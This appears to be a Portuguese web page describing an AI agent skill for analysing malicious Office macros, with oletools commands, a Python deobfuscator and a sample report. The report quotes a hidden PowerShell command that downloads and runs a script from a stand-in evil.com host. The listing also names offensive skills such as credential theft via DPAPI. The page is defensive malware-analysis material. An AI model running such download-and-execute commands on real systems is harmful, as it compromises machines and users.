Communitygithub.com

Análise de Macros Maliciosas em Documentos Office

Analisa macros VBA maliciosas incorporadas em documentos do Microsoft Office.

O que é Análise de Macros Maliciosas em Documentos Office?

Esta skill é projetada para analisar macros maliciosas (VBA, XLM) incorporadas em documentos do Microsoft Office, como .doc, .docm, .xls, .xlsm e .ppt. Ela é útil para equipes de segurança cibernética, analistas de malware e soc (Security Operations Center) que investigam campanhas de phishing que utilizam documentos armados ou precisam extrair e desobfuscar código VBA para identificar URLs de download de payloads e métodos de execução. A skill suporta plataformas como oletools, oledump.py e XLMDeobfuscator, e seu workflow inclui desde a triagem inicial do documento, extração e desobfuscação de código VBA, até a análise de vetores de ataque não-macro (DDE, remote template, ActiveX). Você pode utilizá-la para gerar relatórios detalhados com IOCs, regras YARA e mapeamento MITRE ATT&CK, evitando a abertura manual dos documentos no Microsoft Office, que poderia desencadear a execução acidental do malware. A skill é aplicável em ambientes isolados e com Python 3.8+ para garantir segurança durante a análise.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-macro-malware-in-office-documents

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que Análise de Macros Maliciosas em Documentos Office faz?

Quando Usar

  • Um documento Office suspeito (.doc, .docm, .xls, .xlsm, .ppt) foi sinalizado pela segurança de e-mail
  • Investigando campanhas de phishing que distribuem documentos Office armados
  • Extraindo código de macro VBA para identificar a URL de download do payload e o método de execução
  • Analisando código VBA ofuscado para entender toda a cadeia de ataque
  • Determinando se um documento usa DDE, ActiveX ou injeção de template remoto em vez de macros

Não use para analisar ameaças Office não-macro (DDE, injeção de template remoto); embora esta skill cubra a detecção destes, uma análise especializada pode ser necessária.

Pré-requisitos

  • Python 3.8+ com oletools instalado (pip install oletools)
  • oledump.py de Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
  • VM de análise isolada sem Microsoft Office instalado (evita execução acidental)
  • XLMDeobfuscator para análise de macros Excel 4.0 (pip install xlmdeobfuscator)
  • LibreOffice para renderização segura de documentos (não executa macros VBA por padrão)

Fluxo de Trabalho

Passo 1: Triagem Inicial do Documento

Determine se o documento contém macros ou outro conteúdo ativo:

# Triagem rápida com olevba
olevba suspect.docm

# Verificar streams OLE e macros
oleid suspect.docm

# Indicadores de saída:
# VBA Macros:        True/False
# XLM Macros:        True/False
# External Relationships: True/False (template remoto)
# ObjectPool:        True/False (objetos incorporados)
# Flash:             True/False (objetos SWF)

# Análise OLE abrangente
oledump.py suspect.docm

# Listar todos os streams OLE com indicadores de macro
# Streams marcados com 'M' contêm macros VBA
# Streams marcados com 'm' contêm atributos de macro

Passo 2: Extrair e Analisar Código VBA

Extraia o código-fonte completo da macro VBA:

# Extrair VBA com desofuscação completa
olevba --decode --deobf suspect.docm

# Extrair apenas o código-fonte VBA
olevba --code suspect.docm > extracted_vba.txt

# Extração detalhada com oledump
oledump.py -s 8 -v suspect.docm  # Stream 8 (ajustar com base na listagem de streams)

# Extrair todos os streams de macro
oledump.py -p plugin_vba_dco suspect.docm
Elementos Chave do VBA a Identificar:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Gatilhos de Auto-Execução:
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec

Funções Suspeitas:
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - Execução do PowerShell
  - URLDownloadToFile
  - MSXML2.XMLHTTP (requisições HTTP)
  - ADODB.Stream (escrita de arquivos)
  - Environ() (variáveis de ambiente)
  - CallByName (chamadas indiretas de método)

Passo 3: Desofuscar Código VBA

Remova camadas de ofuscação para revelar o payload:

# Técnicas de desofuscação VBA
import re

def deobfuscate_vba(code):
    # 1. Resolver chamadas Chr(): Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. Remover concatenação de strings: "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. Resolver chamadas ChrW: ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. Resolver StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\"([^"]+)"\)', resolve_reverse, code)

    # 5. Remover ofuscação Mid$/Left$/Right$ (complexo, marcar para revisão manual)

    # 6. Resolver Replace(): Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\"([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

Passo 4: Analisar Macros Excel 4.0 (XLM)

Lide com macros Excel legadas que contornam a detecção VBA:

# Detectar macros XLM
olevba --xlm suspect.xlsm

# Desofuscar macros XLM
xlmdeobfuscator -f suspect.xlsm

# Análise manual XLM com oledump
oledump.py suspect.xlsm -p plugin_biff.py

# Funções de macro XLM (Excel 4.0) a observar:
# EXEC()       - Executar comando shell
# CALL()       - Chamar função DLL
# REGISTER()   - Registrar função DLL
# URLDownloadToFileA - Baixar arquivo
# ALERT()      - Exibir mensagem (engenharia social)
# HALT()       - Parar execução
# GOTO()       - Fluxo de controle
# IF()         - Execução condicional

Passo 5: Verificar Vetores de Ataque Não-Macro

Examine o documento em busca de DDE, templates remotos e objetos incorporados:

# Verificar DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # Códigos de campo DDE
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE encontrado em {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Comando: {m}')
        # Template remoto
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] URL de template remoto: {url}')
"

# Verificar objetos OLE incorporados
oledump.py -p plugin_msg.py suspect.docm

# Verificar relacionamentos para referências externas
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'Referência externa em {name}:')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Passo 6: Gerar Relatório de Análise

Documente a análise completa de malware de macro:

O relatório deve incluir:
- Metadados do documento (autor, data de criação, data de modificação)
- Presença de macro e tipo (VBA, XLM, DDE, template remoto)
- Gatilho de auto-execução identificado
- Código-fonte VBA desofuscado (funções principais)
- URL(s) de download para payloads de segundo estágio
- Método de execução (Shell, WScript, PowerShell, objeto COM)
- Descrição do engodo de engenharia social
- IOCs extraídos (URLs, domínios, IPs, hashes de arquivos)
- Regra YARA para o padrão específico do documento

Conceitos Chave

TermoDefinição
Macro VBACódigo Visual Basic for Applications incorporado em documentos Office que pode interagir com o SO, baixar arquivos e executar comandos
Auto_OpenProcedimento de evento VBA que é executado automaticamente quando um documento Word é aberto, o gatilho principal para malware de macro
OLE (Object Linking and Embedding)Formato de documento composto da Microsoft; documentos Office são contêineres OLE com streams que podem conter macros e objetos
DDE (Dynamic Data Exchange)Mecanismo de IPC legado do Windows abusado em documentos para executar comandos sem macros; acionado por atualizações de código de campo
Injeção de Template RemotoAtaque que carrega um template habilitado para macro de uma URL remota quando o documento abre, contornando a detecção inicial de macro
Macros XLM (Excel 4.0)Linguagem de macro legada do Excel anterior ao VBA; armazenada em planilhas ocultas e muitas vezes perdida por ferramentas tradicionais de análise VBA
Modo de Exibição ProtegidoSandbox do Office que impede a execução de macro até que o usuário clique em "Ativar Conteúdo"; engenharia social tem como alvo essa barreira

Ferramentas e Sistemas

  • oletools (olevba): Kit de ferramentas Python para analisar arquivos OLE, extrair macros VBA e detectar palavras-chave suspeitas e IOCs
  • oledump.py: Ferramenta de Didier Stevens para analisar streams OLE com suporte a plugins para descompressão e extração VBA
  • XLMDeobfuscator: Ferramenta projetada especificamente para desofuscar fórmulas de macro Excel 4.0 (XLM)
  • ViperMonkey: Mecanismo de emulação VBA que executa macros VBA em um ambiente isolado para observar comportamento
  • YARA: Correspondência de padrões para detecção de malware baseado em documentos usando padrões de string VBA e indicadores de estrutura OLE

Cenários Comuns

Cenário: Analisando um Documento de Phishing com Macros VBA Ofuscadas

Contexto: Vários funcionários receberam um e-mail com um arquivo .docm anexado alegando ser uma fatura. O documento solicita que os usuários "Ativem o Conteúdo" para visualizar o documento completo.

Abordagem:

  1. Execute oleid para confirmar a presença de macros VBA e identificar gatilhos de auto-execução
  2. Extraia o código VBA com olevba --decode --deobf para desofuscação inicial
  3. Identifique o ponto de entrada da auto-execução (Auto_Open ou Document_Open)
  4. Trace o fluxo de execução do ponto de entrada através de funções auxiliares
  5. Desofusque a concatenação de strings e a codificação Chr() para revelar a URL de download
  6. Identifique o método de download (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
  7. Extraia todos os IOCs e crie regras YARA para o padrão de ofuscação específico

Armadilhas:

  • Abrir o documento no Microsoft Office para "análise rápida" em vez de usar ferramentas de linha de comando
  • Perder código VBA armazenado em UserForms (elementos GUI podem conter código em seus manipuladores de eventos)
  • Ignorar metadados do documento que podem conter impressões digitais do atacante (nome do autor, nome do template)
  • Não verificar ambos macros VBA e XLM no mesmo documento (alguns malwares usam ambos)

Formato de Saída

ANÁLISE DE MALWARE DE MACRO OFFICE
================================
Documento:         invoice_q3_2025.docm
SHA-256:           e3b0c44298fc1c149afbf4c8996fb924...
Tipo de Arquivo:   Documento Microsoft Word (OOXML com macros)
Autor:             Administrador
Data de Criação:   2025-09-10 14:23:00

ANÁLISE DE MACRO
Tipo:              Macro VBA
Gatilho:           AutoOpen()
Streams:           3 streams VBA (ThisDocument, Module1, Module2)

CADEIA DE EXECUÇÃO DESOFUSCADA
1. AutoOpen() -> Chama Module1.RunPayload()
2. RunPayload() constrói a string de comando via concatenação Chr()
3. Comando: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decodificado: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

ENGOBO DE ENGENHARIA SOCIAL
- O documento exibe uma imagem falsa de "Documento Protegido"
- Instrui o usuário a "Ativar Conteúdo" para visualizar o documento
- O conteúdo é desfocado/oculto até as macros executarem

IOCs EXTRAÍDOS
URL de Download:   hxxp://evil[.]com/payload.ps1
Domínio C2:        evil[.]com
Endereço IP:       185.220.101[.]42
User-Agent:        PowerShell (WebClient padrão)

MITRE ATT&CK
T1566.001  Phishing: Acesso por Anexo de Spearphishing
T1204.002  Execução do Usuário: Arquivo Malicioso
T1059.001  Interpretador de Comandos e Scripts: PowerShell
T1059.005  Interpretador de Comandos e Scripts: Visual Basic

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Habilidades Relacionadas